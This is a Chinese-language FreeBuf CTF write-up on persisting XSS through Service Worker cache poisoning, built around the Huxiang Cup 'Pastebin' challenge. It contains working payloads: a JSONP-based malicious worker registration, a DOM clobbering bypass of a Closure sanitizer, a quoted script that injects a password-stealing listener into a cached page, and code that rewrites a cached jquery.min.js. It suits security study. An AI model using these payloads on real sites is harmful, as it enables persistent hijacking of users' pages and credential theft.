freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XSS持久化---污染Service Worker Cache
2022-03-07 10:14:48
所属地 广东省

一、Service Worker介绍

Service Worker可以理解为客户端与服务器之间的一个代理服务器。当网站中注册了Service Worker,那么它就可以拦截请求,根据开发者定义的程序,来判断是将请求传送给服务端还是直接通过缓存返回给客户端。

下面简单来实现一下Service Worker

# index.html
<script>
if('serviceWorker' in navigator){
window.addEventListener('load',function(){
navigator.serviceWorker.register('./ws.js',{scope: './'})
.then(function (registration) {
console.log('serviceWorker registered')
})
.catch(function (err) {
console.log('serviceWorker regist failed')
})
})
}
</script>

简单解释一下代码:首先判断浏览器是否支持Service Worker,然后创建一个Service Worker,并指定其执行的代码以及作用域scope,该作用域表示的内容为拦截指定目录下的所有请求。创建成功之后,会执行then,否则执行catch

在创建Service Worker的时候,指定了运行代码,既可以通过文件的形式指定,也可以直接通过代码的形式执行。接下来我们在ws.js中定义缓存规则代码:

this.addEventListener('install',function(event){
event.waitUntil(
caches.open('m1sn0w').then(function (cache) {
return cache.addAll([
'./index.html'
])
})
)
})

this.addEventListener('fetch',function (event) {
event.respondWith(
new Response('m1sn0w',{headers: {'Content-Type':'text/html'}})
)

})

这个文件中定义了两个事件,一个是install事件,另外一个是fetch事件,install事件一般用来设置浏览器的缓存逻辑,可以指定要缓存的资源路径文件,而fetch事件是拦截请求后所作的动作,例如上面直接页面,内容为m1sn0w。在后续的XSS持久化利用中,主要使用到fetch这个事件。

1646619061_622569b5999325ca5c349.png!small?1646619059557

二、劫持Service Worker

假设存在一个反射型XSS漏洞利用点,例如:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="./index.php" method="POST" >
<input type="text" name="xss" />
<input type="submit" name="submit" value="提交" />
</form>
<?php
if(isset($_POST['xss'])){
echo $_POST['xss'];
}
?>
</body>
</html>

如果想要劫持Service Worker的话,还需要一个条件,就是同域环境下需要一个jsonp,因为在后续构造fetch事件的时候,需要这个jsonp来将构造的代码返回,从而被当作执行的代码,例如,我在同域环境下给出一个jsonp(其实只需要能返回GET请求的数据就行):

# evil.js
<?php
header('Content-type: text/javascript');
$callback=$_GET['callback'];
echo $callback;
?>

这里需要返回头部信息为text/javascript,因为我们需要返回.回来的代码被当作JS处理。然后我们构造如下Payload,并指定了缓存路径为./m1sn0w/,通过POST提交上去:

<script>
navigator.serviceWorker.register('./evil.php?callback=onfetch=function(e){console.log(1);e.respondWith(new Response("m1sn0w",{headers: {"Content-Type":"text/html"}}))}',{scope: './m1sn0w/'})
</script>

之后我访问/m1sn0w/目录下的任何文件,都会返回m1sn0w字符。(不管文件是否存在)

1646619080_622569c825ac39b13ae89.png!small?1646619077810

三、湖湘杯Pastebin

这里只探究一下涉及到的两个前端知识点,一个是DOM Clobbering,另外一个就是污染Service Worker来持久化XSS

1、DOM Clobbering绕过检验函数

首先是第一个漏洞,DOM Clobbering,我们根据payload去调试分析一下整条链:

# payload
<form><input name=removeChild></form><img src=x onerror=alert(1337)>

1646619091_622569d38c3db7edfe0e2.png!small?1646619089361

在此之前,简单分析一下前端校验代码:

async function do_things(id) {
try {
var html = await get(id);
var doc = new DOMParser().parseFromString(html, "text/html");
if(doc.querySelectorAll("math").length !== 0 || doc.querySelectorAll("svg").length !== 0 || doc.querySelectorAll("base").length !== 0 || doc.querySelectorAll("object").length !== 0){
console.log("filtered");
return "<b>Your paste have been filtered</b>";
}
html = safepaste.sanitize(html);
} catch(e) {
// fetch failed
console.log(e)
}
return html;
}

这里用到try...catch语句,但是在catch语句中并没有将程序结束,也就是说catch之后,程序还是会返回html变量。所以这里的思路就是在try语句块中触发报错,从而逃过sanitize函数的检查。经过上下文分析,可以知道html变量是受我们控制的。

通过调试代码分析,最终会调用到(new goog.html.sanitizer.HtmlSanitizer).sanitize(a);,而a变量就是受控的html变量。继续跟进sanitize(a)代码,会经过如下函数处理:this.processToString(a)-->this.processToTree(a)-->goog.dom.removeChildren(d)

变量aprocessToTree这个函数中进行了一些处理,也就是将字符串转换成了html标签。然后获取了整个标签的父标签,也就是最外层的标签对象,并将其赋值给了d变量。

然后将d变量传送给了goog.dom.removeChildren函数处理,我们看看该函数的具体实现:

goog.dom.removeChildren = function(a) {
for (var b; b = a.firstChild; ) {
a.removeChild(b)
}
}

由于这里传入的变量是一个标签对象,了解DOM Clobbering的话就很容易看出来这里存在漏洞。例如传入的数据是<form>标签,其子标签元素inputname值为removeChild,那么上面的a.removeChild表示的就是<input>这个标签对象,而不再是函数,因此,这里最终会报错。

1646619101_622569ddf23d2d446d528.png!small?1646619099674

我在这里加了一个console.log输出变量,最终控制台输出<input>标签对象:

1646619109_622569e5e6e24992f56ec.png!small?1646619107741

因此,我们最终构造payload的时候,只需要在前面加上<form><input name=removeChild></form>即可逃过校验函数的检测,后面就可以构造xss利用代码。

2、修改Service Worker缓存

该题的第二个考点就是污染Service Worker来持久化XSS。先不谈为什么这里需要持久化,我们先单纯地学习一下这个知识点。出题师傅给了一篇论文,https://swcacheattack.secpriv.wien/,我们先对论文里面的内容做一个了解与分析。

文章给出的攻击思路,大概就是利用xss漏洞去污染Service Worker缓存,然后将缓存中的一些静态数据修改掉,当用户再次访问页面的时候,由于Service Worker缓存的存在,会直接将缓存的数据返回给用户。而这些缓存的数据,由于被修改了,这样也就达到了攻击用户的目的。

我们对文中给出的payload做一个简单的分析:

(async () => {
let p = `<script>document.querySelector('#col-add button').addEventListener('click', (event) => {alert('Password stolen: ' + document.querySelector('#col-add input[type="password"]').value);});</script>`;
let t = '/safenotes/';
let c = await caches.open('static');
let r = await c.match(t);
let rt = await r.text();
await c.put(t,
new Response(rt.replace('</body>', p + '</body>'), {
status: 200,
statusText: 'OK',
headers: r.headers
})
);
})();

这里的caches.open用来打开static缓存空间,然后通过match来寻找缓存文件,这里找到的文件如图所示:

1646619121_622569f10e271fc34b31c.png!small?1646619118839

接下来,它将文件的内容读取出来,然后将构造的payload代码插入到文件内容中,并将更新的文件内容再次写入缓存空间。我们简单分析一下该攻击手法,攻击前提是存在一个XSS漏洞点,然后网站原本开启了Service Worker缓存。利用XSS漏洞,将缓存文件内容替换,从而达到攻击的目的。

我们回到这个题目,可以通过查看缓存空间,来获知哪些文件进行了缓存:

1646619165_62256a1d69b7d0968d8a7.png!small?1646619163144

接下来的利用方式就是结合上面的思路,我们修改缓存文件,例如jquery.min.js,当有一个地方引入这个文件的时候,就会触发我们修改添加进去的xss恶意代码。

<script>
(async () => {
let e = "/jquery.min.js",
t = await caches.open("static-resources"),
a = await t.match(e),
s = await a.text();
await t.put(e, new Response(s.replace("jQuery=C.$=S),S});",
`jQuery=C.$=S),S});alert('xss');`),  
{
status: 200,
statusText: "OK",
headers: a.headers
}))
})();
</script>

在本地简单搭建了一个demo来对此攻击示例做一个测试。在存在xss漏洞点的地方,输入上述payload,结果会导致Jquey缓存文件内容发生了改变,当我们再次访问导入了Jquery的页面的时候,会弹出xss框。

1646619175_62256a277306c0be17d7a.png!small?1646619173141

该题接下来的利用就是分析bot程序的行为,然后修改action属性值,最终将flag数据外带从而拿到flag值。

参考文章:

https://www.freebuf.com/articles/web/306014.html

# xss
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录